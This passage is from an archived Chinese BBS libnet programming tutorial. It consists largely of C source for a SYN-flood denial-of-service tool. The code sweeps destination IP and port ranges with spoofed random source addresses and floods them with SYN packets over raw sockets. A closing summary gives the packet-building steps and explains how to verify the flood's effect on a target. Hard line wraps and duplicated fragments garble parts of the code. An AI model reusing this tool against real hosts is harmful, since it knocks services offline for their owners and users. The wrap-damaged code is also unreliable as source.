528.htm

unix高级编程原吗

                switch ( longOptionIndex ) <br>
                { <br>
                case 0: <br>
                    /* 返回值是big-endian序 */ <br>
                    srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
 ); <br>
                    if ( srcIp == -1 ) <br>
                    { <br>

                        libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", o <br>
ptar <br>
g ); <br>
                    } <br>
                    break; <br>
                case 1: <br>
                    /* 验证是否是点分十进制IPv4地址表示 */ <br>
                    if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) <br>
== - <br>
1 ) <br>
                    { <br>
                        /* 第一个参数为LIBNET_ERR_FATAL，会导致exit */ <br>
                        libnet_error( LIBNET_ERR_FATAL, "Bad dstIpLow: %s\n" <br>
, op <br>
targ ); <br>
                    } <br>
                    i = j = 0; <br>
                    while ( optarg[i] != '.' ) <br>
                    { <br>
                        pipstart->a[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipstart->a[j] = '\0'; <br>

                    j              = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '.' ) <br>
                    { <br>
                        pipstart->b[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipstart->b[j] = '\0'; <br>
                    j              = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '.' ) <br>
                    { <br>
                        pipstart->c[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipstart->c[j] = '\0'; <br>
                    j              = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '\0' ) <br>
                    { <br>
                        pipstart->d[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipstart->d[j] = '\0'; <br>
                    /* Convert to integer values and store in struct */ <br>

                    if ( pipstart->a != NULL ) <br>
                    { <br>
                        ipstarti.a = atoi( pipstart->a ); <br>
                    } <br>
                    if ( pipstart->b != NULL ) <br>
                    { <br>
                        ipstarti.b = atoi( pipstart->b ); <br>
                    } <br>
                    if ( pipstart->c != NULL ) <br>
                    { <br>
                        ipstarti.c = atoi( pipstart->c ); <br>
                    } <br>
                    if ( pipstart->d != NULL ) <br>
                    { <br>
                        ipstarti.d = atoi( pipstart->d ); <br>
                    } <br>
                    break; <br>
                case 2: <br>
                    /* 验证是否是点分十进制IPv4地址表示 */ <br>
                    if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) <br>
== - <br>
1 ) <br>
1 ) <br>
                    { <br>
                        /* 第一个参数为LIBNET_ERR_FATAL，会导致exit */ <br>
                        libnet_error( LIBNET_ERR_FATAL, "Bad dstIpHigh: %s\n <br>
", o <br>
ptarg ); <br>
                    } <br>
                    i = j = 0; <br>
                    while ( optarg[i] != '.' ) <br>
                    { <br>
                        pipend->a[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipend->a[j] = '\0'; <br>
                    j            = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '.' ) <br>
                    { <br>
                        pipend->b[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipend->b[j] = '\0'; <br>
                    j            = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '.' ) <br>

                    { <br>
                        pipend->c[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipend->c[j] = '\0'; <br>
                    j            = 0; <br>
                    i++; <br>
                    while ( optarg[i] != '\0' ) <br>
                    { <br>
                        pipend->d[ j++ ] = optarg[ i++ ]; <br>
                    } <br>
                    pipend->d[j] = '\0'; <br>
                    /* Convert to integer values and store in struct */ <br>
                    if ( pipend->a != NULL ) <br>
                    { <br>
                        ipendi.a = atoi( pipend->a ); <br>
                    } <br>
                    if ( pipend->b != NULL ) <br>
                    { <br>
                        ipendi.b = atoi( pipend->b ); <br>
                    } <br>
                    if ( pipend->c != NULL ) <br>
                    { <br>

                        ipendi.c = atoi( pipend->c ); <br>
                    } <br>
                    if ( pipend->d != NULL ) <br>
                    { <br>
                        ipendi.d = atoi( pipend->d ); <br>
                    } <br>
                    break; <br>
                case 3:  /* 采用10进制 */ <br>
                    srcPort     = ( u_short )strtoul( optarg, NULL, 10 ); <br>
                    break; <br>
                case 4: <br>
                    dstPortLow  = ( u_short )strtoul( optarg, NULL, 10 ); <br>
                    break; <br>
                case 5: <br>
                    dstPortHigh = ( u_short )strtoul( optarg, NULL, 10 ); <br>
                    break; <br>
                case 6:  /* 采用10进制 */ <br>
                    synNumber   = ( u_long )strtoul( optarg, NULL, 10 ); <br>
                    if ( synNumber == 0 ) <br>
                    { <br>
                        fprintf( stderr, "Check your synNumber\n" ); <br>
                        exit( FAILURE ); <br>

                    } <br>
                    break; <br>
                default: <br>
                    break; <br>
                }  /* end of switch */ <br>
            } <br>
            break; <br>
        case 'h': <br>
        case '?': <br>
            usage( argv[0] ); <br>
        }  /* end of switch */ <br>
    }  /* end of while */ <br>
    if ( dstPortLow > dstPortHigh ) <br>
    { <br>
        fprintf( stderr, "Check your low and high port\n" ); <br>
        exit( FAILURE ); <br>
    } <br>
    fprintf( stderr, "[ Flooding from %d.%d.%d.%d --> %d.%d.%d.%d ]\n", <br>
             ipstarti.a, ipstarti.b, ipstarti.c, ipstarti.d, <br>
             ipendi.a, ipendi.b, ipendi.c, ipendi.d ); <br>
    fprintf( stderr, "[ Flooding from %u --> %u ]\n", dstPortLow, dstPortHig <br>
h ); <br>
h ); <br>
    /* 分配内存并初始化成零 */ <br>
    Libnet_init_packet( packet_size, &packet ); <br>
    /* 创建raw_socket */ <br>
    rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
    for ( a = ipstarti.a; a <= ipendi.a; a++ ) <br>
    { <br>
        for ( b = ipstarti.b; b <= ipendi.b; b++ ) <br>
        { <br>
            for ( c = ipstarti.c; c <= ipendi.c; c++ ) <br>
            { <br>
                for ( d = ipstarti.d; d <= ipendi.d; d++ ) <br>
                { <br>
                    /* 要求提供big-endian序，而i386/Linux本身是little-endian <br>
序 * <br>
/ <br>
                    dstIp = d * 0x1000000 + c * 0x10000 + b * 0x100 + a; <br>
                    for ( dstPort = dstPortLow; dstPort <= dstPortHigh; dstP <br>
ort+ <br>
+ ) <br>
                    { <br>
                        if ( srcIp == 0xffffffff ) <br>
                        { <br>

                            /* 随机化源IP */ <br>
                            srcIp = ( u_long )random(); <br>
                        } <br>
                        if ( srcPort == 0xffff ) <br>
                        { <br>
                            /* 随机化源PORT */ <br>
                            srcPort = ( u_short )random(); <br>
                        } <br>
                        synFlood( srcIp, srcPort, dstIp, dstPort, synNumber <br>
); <br>
                    } <br>
                } <br>
            } <br>
        } <br>
    } <br>
    /* 关闭raw_socket */ <br>
    libnet_close_raw_sock( rawSocket ); <br>
    /* 释放由libnet_init_packet()分配的内存 */ <br>
    libnet_destroy_packet( &packet ); <br>
    fprintf( stderr, "\n[ Flood finished ]\n" ); <br>
    return( SUCCESS ); <br>
}  /* end of main */ <br>

/*----------------------------------------------------------------------*/ <br>
-------------------------------------------------------------------------- <br>
事实上libnet实在是不适合开发syn-flood这种需要尽量优化并提高效率的DoS程序， <br>
大量循环重复构造报文，函数调用的开销增大，而前后修改并不很多，完全可以在构 <br>
造报文的函数内部做优化，但现在我们使用的是封装过的libnet库函数，没有这个优 <br>
化机会。 <br>
在SPARC/Solaris下用netstat -n -P tcp是看不到SYN_RCVD状态的，必须用如下命令 <br>
netstat -na | grep SYN_RCVD查看效果。欲验证效果就syn-flood 23，然后telnet <br>
即可。 <br>
是不是感觉命令行太罗嗦啦，那不关我事情，目的有三，长选项温习，伪随机数发生 <br>
器，使用libnet，三个目的都达到了，程序本身并没有考虑易用性，也不是作为有效 <br>
工具提供，仅仅是个libnet编程例子。现在我们来总结一下libnet库编程的关键步骤： <br>
  <br>
1) 分配内存并初始化成零 <br>
   Libnet_init_packet( packet_size, &packet ); <br>
2) 创建raw_socket <br>
   rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
3) 构造IP头 <br>
   libnet_build_ip( LIBNET_TCP_H,         /* IP数据区长度 */ <br>
                    IPTOS_LOWDELAY,       /* IP tos       */ <br>
                    ( u_short )random(),  /* IP ID        */ <br>
                    0,                    /* frag stuff   */ <br>

                    255,                  /* TTL          */ <br>
                    IPPROTO_TCP,          /* 上层协议     */ <br>
                    srcIp,                /* big-endian序 */ <br>
                    dstIp,                /* 目标IP       */ <br>
                    NULL,                 /* 无选项       */ <br>
                    0,                    /* 选项长度零   */ <br>
                    packet );             /* 指向IP头     */ <br>
4) 构造TCP头 <br>
   libnet_build_tcp( ( u_short )( srcPort + s ),  /* 源端口         */ <br>
                     dstPort,                     /* 目标端口       */ <br>
                     0x51211314,                  /* seq num        */ <br>
                     0,                           /* ack num        */ <br>
                     TH_SYN,                      /* control flags  */ <br>
                     1024,                        /* window size    */ <br>
                     0,                           /* urgent pointer */ <br>
                     NULL,                        /* payload (none) */ <br>
                     0,                           /* payload length */ <br>
                     packet + LIBNET_IP_H );      /* 指向TCP头      */ <br>
5) 计算TCP校验和，IP校验和由内核亲自计算 <br>
   Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H ); <br>
6) 发送SYN报文 <br>
   Libnet_write_ip( rawSocket, packet, packet_size ); <br>

7) 关闭raw_socket <br>
   libnet_close_raw_sock( rawSocket ); <br>
8) 释放由libnet_init_packet()分配的内存 <br>
   libnet_destroy_packet( &packet ); <br>
以上八步可能是最简单的libnet编程举例了，如果你对NT/2K下的可移植性感兴趣， <br>
可以替换掉长选项支持、伪随机发生器部分，尝试移植一下。后面可能还会举点其他 <br>
libnet库编程的例子，不能确定是什么。 <br>
<待续> <br>
-- <br>
            也许有一天，他再从海上蓬蓬的雨点中升起， <br>
            飞向西来，再形成一道江流，再冲倒两旁的石壁， <br>
            再来寻夹岸的桃花。然而，我不敢说来生，也不敢信来生...... <br>
※ 修改:．scz 于 Jul 27 20:31:33 修改本文．[FROM: bbs.szptt.net.cn] <br>
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